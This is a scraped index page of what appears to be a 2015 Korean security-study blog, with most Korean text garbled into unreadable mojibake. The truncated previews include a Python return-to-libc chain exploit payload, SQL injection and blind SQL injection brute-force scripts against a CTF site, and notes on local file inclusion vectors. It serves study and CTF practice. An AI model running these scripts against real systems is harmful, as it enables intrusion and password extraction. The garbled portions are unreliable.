728x90 ๋ฐ์ํ Security Study83 rtl chain from socket import * HOST = ""PORT = 4444 s = socket(AF_INET,SOCK_STREAM)s.connect((HOST,PORT)) #connect payload = "\x90"*260payload += "\xa0\x83\x04\x08"+"\x2e\x86\x04\x08"+"\x40\xa0\x04\x08"+"\x54\x81\x04\x08"payload += "\xa0\x83\x04\x08"+"\x2e\x86\x04\x08"+"\x41\xa0\x04\x08"+"\x57\x81\x04\x08"payload += "\xa0\x83\x04\x08"+"\x2e\x86\x04\x08"+"\x42\xa0\x04\x08"+"\x56\x81\x04\x08"payload += "\xa.. Security Study/Source 2015. 11. 21. sql injection reverse import urllibimport urllib2 url = ""req = urllib2.Request(url)sql = "union select 0x61646D696E 32%"data = "id=%00&pw=" + sql[::-1]#data = urllib.urlencode(data)req = urllib2.Request(url, data) req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')req.add_header('Cookie', 'PHPSESSID=') response = urllib2.urlopen(req)h.. Security Study/Source 2015. 11. 21. ์์ผํ๋ก๊ทธ๋๋ฐ from socket import * HOST = "" #hostPORT = 4444 #port s = socket(AF_INET,SOCK_STREAM)s.connect((HOST,PORT)) #connect payload = "\x90"*260 #payload print s.recv(1024) #1024 byte reads.send(payload + "\n")print s.recv(1024)print s.recv(1024) Security Study/Source 2015. 11. 21. Blind Sql Injection #http2,1)%3C%27N%27)--+&pw=adminimport urllibimport urllib2 ans =""ans2="" for i in range(1,11): for j in range(33,127) : url1 = "http://codeshell.kr/probs/unsolvable/index.php?Username=admin'+and(substring(Password," url1=url1+str(i)+",1)='" url1=url1+chr(j)+"')--+&pw=1" try: #print url1; req = urllib2.Request(url1) print 1111 req.add_header('cookie',"PHPSESSID=") res = urllib2.urlopen(req) dat.. Security Study/Source 2015. 11. 21. Base 64 encoding import base64 str64=""str64=base64.b64encode(str64.encode('ascii'))for i in range(1,11): str64=base64.encodestring(str64) str64=str64.decode("utf-8")print(str64.replace("\n","")) Security Study/Source 2015. 11. 21. ๊ตฌ๊ธ ํดํน ๊ตฌ๊ธ ํดํน์ด๋?์ด๋ฆ๋ง ๋ณด๋ฉด ๊ตฌ๊ธ์ ํดํนํ๋ ๋ฏํ ๋๋์ด ๋ ๋ค. ๊ทธ๋ฌ๋ ์ด๊ฒ์ด ๊ตฌ๊ธ ํดํน์ด์๋๋ผ ๊ตฌ๊ธ์ ์ฐ์ฐ์๋ค์ ์ด์ฉํ์ฌ ์๊ณ ์ ํ๋ ์ ๋ณด๋ฅผ ๋ฝ์ ๋ด๋ ๊ฒ์ ๋งํ๋ค.๊ตฌ๊ธ์๋ ๋ง์ ์ฐ์ฐ์๊ฐ ์๋ค. ์ด๋ฅผ ์ด์ฉํ์ฌ ๊ฐ์ธ ์ ๋ณด ๋ฟ๋ง ์๋๋ผ ๋ง์ ์ ์ ์ ๋ณด๋ฅผ ์์ ๋ผ์ ์๋ค. ๊ณผ์ฐ ๊ตฌ๊ธ ํดํน์ด ์ผ๋ง๋ ์ํํ ๊น? ์ด๋ฌํ ์์ผ๋ก ์ ์๋ฅผ ๊ฒ์ํ๋ฉด ์ด๋ฌํ ๋ธ๋ก๊ทธ๋ค์ด ๋์ค๋ ๊ฒ์ ์์ ์๋ค.๊ณผ์ฐ ์ด๋ฆ์ด๋ ์ ํ๋ฒํธ ๊ฐ์ ๊ฐ์ธ์ ๋ณด๋ฅผ ์๊ณ ์๋ ์ํฉ์์ ๊ฒ์์ ํ๋ฉด ๋ ๋์ฑ ๋ง์ ์๋ฃ์ ๋ ๋ง์ ์ ๋ณด๊ฐ ๋์ฌ ๊ฒ์ด๋ค. ๊ตฌ๊ธ ํดํน์ ์ผ๋ฐ์ ์ธ ๊ณต๊ฒฉ์ ๋ณด๋ฉด๋ฐ์ดํ(" ")๋ฐ์ดํ๋ฅผ ์ด์ฉํ๋ฉด ์ฌ๋ฌ๊ฐ ๋จ์ด๋ฅผ ๋ฌถ์ด์ ๊ฒ์ํ ์ ์๋ค. ์๋ฅผ๋ค์ด, Pwn&Play z3alous๋ผ๊ณ ๊ฒ์์ ํ๋ฉด ~ Pwn&Play ~ z3alous ๋ก ๊ฒ์์ด ๋์ง.. Security Study/Web 2015. 11. 21. UBUNTU์์ QT๋ค์ด๋ฐ๊ธฐ ์ฐ๋ถํฌ์์ QT๋ฅผ ๋ค์ด๋ฐ์๋ณด์๋จผ์ http://www.qt.io/download-open-source/ qt ์คํ์์ค์ ์ ์ํด์ ๋ค์ด๋ฐ์ผ๋ฉด runํ์ผ์ด ์์ฑ๋์ด ์์ ๊ฒ์ด๋ค. ์ด๋ฅผ ๊ทธ๋ฅ ์คํ์ํค๋ ์ด๋ฌํ๊ฒ ๋ง์ ํ์ผ๋ค์ด ์ค์น๋๋ค...์ด๋ ๊ฒ ์ค์น๋ ํ์ผ์ ์ค์นํ๋ ์ค์น๊ฐ ๋์ง ์๋๋ค... ์์ด๋ด๊น?๋ฆฌ๋ ์ค์๋ ํฐ๋ฏธ๋์ด ์๋ค. ์ด๋ฅผ ์ด์ฉํด chmod 755 qt-unified-ninux-x64-online.run์ ํ ํ ./qt-unified-ninux-x64-online.run ์ด๋ ๊ฒ ์คํ์ํค๋ฉด ์ ์์ ์ผ๋ก ์คํ์ด๋๋ค.!!! ์ ํ!! ์ด๋ ๊ฒ ์ค์น๋๋ ๊ฒ์ ๋ณผ์์๋ค. !! Security Study/Server(Linux) 2015. 11. 16. ์๋ฒ ์ ์ ๋ฉ์ธ์ง, PHPMYADMIN ์ฃผ์ ๋ณ๊ฒฝ ubuntu ์๋ฒ์ ์ ์์ ํ์ ๋ ๋๋ฅผ ๋ฐ๊ฒจ์ฃผ๋ ์ฌ๋์ด ์๋ค๋ฉด ์ผ๋ง๋ ์ข์๊น?๊ทธ๊ฒ์ ์ํด ์ง๊ธ ์ฌ๊ธฐ์ ๊ธ์์จ๋ณด๊ฒ๋ค!!! ์๋ฒ์ ์ ์์ ํ๊ณ ๋์ root ๊ถํ์ผ๋ก vi /etc/motd์ ์น๋ฉด ์ฐฝ์ด ๋จ๋๋ฐ ํ๊ณ ์ถ์๋ง์ ์ ์ฅ ํ :wq ๋ก ์ ์ฅ์ ์๋ฃํ๋ฉด ์์ผ๋ก ์๋ฒ์ ์ ์ํ๋ฉด ๋ฐ๊ฒจ์ค ๊ฒ์ด๋ค.ํ๊ธ์ ์ด์ฉํ๊ณ ์ถ์ผ๋ฉด ํ๊ธํฉ์ ์ค์นํ๋ฉด ํ๊ธ ๊น์ง ์ฌ์ฉํ ์ ์๋ค. ๋ํ phpmyadmin์ฃผ์ ๋ณ๊ฒฝ์๋ phpmyadmin์ ์์ ๋๋ฉ์ธ/phpmyadmin์ด๋ฉด ์ ์์ ํ๋ค.์ด๋ฅผ ๋ฐ๊พธ๊ธฐ ์ํด ํ์ํ๊ฒ์ด vi /etc/phpmyadmin/apache.conf ์์ ์ ํด์ Alias /phpmyadmin /usr/share/phpmyadmin ์ด๊ฒ์ Alias /ํ๊ณ ์ถ์ ์ฃผ์/usr/share/phpmyadmin ํ.. Security Study/Server(Linux) 2015. 11. 11. RFHACKING Rf spectrum Analyzing๊ด๋ จํดGqrx – hack rfSdr#Gnu RadioRF analyzer – ์๋๋ก์ด๋์ฉ๋ ์์, ๋จ์ ์์ ์ ํ๋ ๊ธฐ๋ฅ ๋ฐ์์๋ค. Rf signal replay attack GNU RADIOSdr ์ํํธ์จ์ด SDR = Software Defined Radio๋ฌด์ ์ ํธ ์ก์์ ๊ธฐ๋ฅ ๋ฆฌํ๋ผ์ดํ ๋์๋ ์์ค๋ฅผ ์ ์ฅํด์ฃผ๊ณ ํตrf๋ก์ ์ก์ ํ๋ฒ ์กฐ์ฌ - ism ๋ฐด๋ ์ฃผํ์ ๋์ญ ๊ฒ์ – ๋ฌด์ ์ ํธ ์บก์ณ – ๊ทธ๋ฆฌ๊ณ ๋ฆฌํ๋ผ์ด๋ก ๋ณด๋ Security Study/Network 2015. 10. 29. web 2์ผ์ฐจ LFI1. Local File Include Attack ์ ์ค์๋ง2. Include, require ๋ฑ์ ํจ์๊ฐ ์ฃผ ํ๊ฒ3. ์ํ๋ ์ฝ๋๋ฅผ ์คํํ ์ ์์ผ๋ ํฌ๋ฆฌํฐ์ปฌ ๋ฉ์ธํ์ด์ง – ๋ก๊ทธ์ธ- ๊ธ์ฐ๊ธฐ- ํจ์ค์๋ ํ์ผ- ์ ๋ก๋ํ ํ์ผ ๊ณผ์ฐ ์ฐ๋ฆฌ๊ฐ ์ํ๋ ์ฝ๋๋ฅผ ์ด๋ป๊ฒ ๋ฃ์ง?1. /proc/self/environ2. /proc/loadavg/proc/$PID/environ3. ์น์๋ฒ ๋ก๊ทธ4. ์๋ฌ ๋ก๊ทธ----------------------------- ๋ฒ์ ์ด ์ฌ๋ผ๊ฐ๋ฉด์ ์์ ๊ณต๊ฒฉ์ ํ๋ค์ด์ง5. ํ์ผ ์ ๋ก๋ -> ๋ง์ด ์ฌ์ฉ๋จ ์ฝ๋๋ง๊ณ wrapper1. fopen, copy, file๋ฑ์ ํจ์์ ์ฐ์2. file://, http://, ftp:// ๋ฑ๋ฑ3. ๋๋ถ๋ถ์ ๋ํผ๊ฐ allow_url_include ๊ฐ o.. Security Study/Web 2015. 10. 23. windows And linux ip์ฐจ๋จ ์๋์ฐ ๊ฐ์ ๊ฒฝ์ฐ๋ ๋ฐฉํ๋ฒฝ์ ์ฐ๋๋ฐ... ์ฌ๊ธฐ์ ๊ณ ๊ธ ์ค์ ์ ํด๋ฆญํ ๋ค์์ ๋๋ฅด๊ณ ํฌํธ์ ํ๋กํ ์ฝ ์ฐจ๋จ ์์ดํผ๋ฅผ ์ค์ ํ๋ค. ๋ฆฌ๋ ์ค์ ๊ฒฝ์ฐ sudo iptables -A INPUT -s ์ฐจ๋จํ๊ณ ์ถ์ ์์ดํผ -j DROP iptables -L -> ๋ฆฌ์คํธ ๋ณด๋ ๋ช ๋ น์ด Security Study/Server(Linux) 2015. 10. 22. integer overflow #include int main(){ int a,b; printf("a + b = 0 (a,b != 0)\n"); printf("A = "); scanf("%d",&a); printf("B = "); scanf("%d",&b); if(a + b == 0) { printf("Congratulation!\n"); } else if(a == 0 || b ==0) { printf("Fuck up!\n"); } else { printf("Fuck you!\n"); } return 0;} integer overflow๋?๊ธฐ๋ณธ ์ ์ํ์์ ์ ์ฅํ ์ ์๋ ๊ธฐ๋ณธ์น์ ๊ฐ๋ณด๋ค ๋ ํฐ ์๋ฅผ ์ ๋ ฅํ์ฌ ์๊ธฐ์น ์์ ํ๋์ ์ทจํ๊ฒ ํ๋ ๊ฒ Security Study/System 2015. 10. 22. ์ด์ 1 2 3 4 5 6 7 ๋ค์ 728x90 ๋ฐ์ํ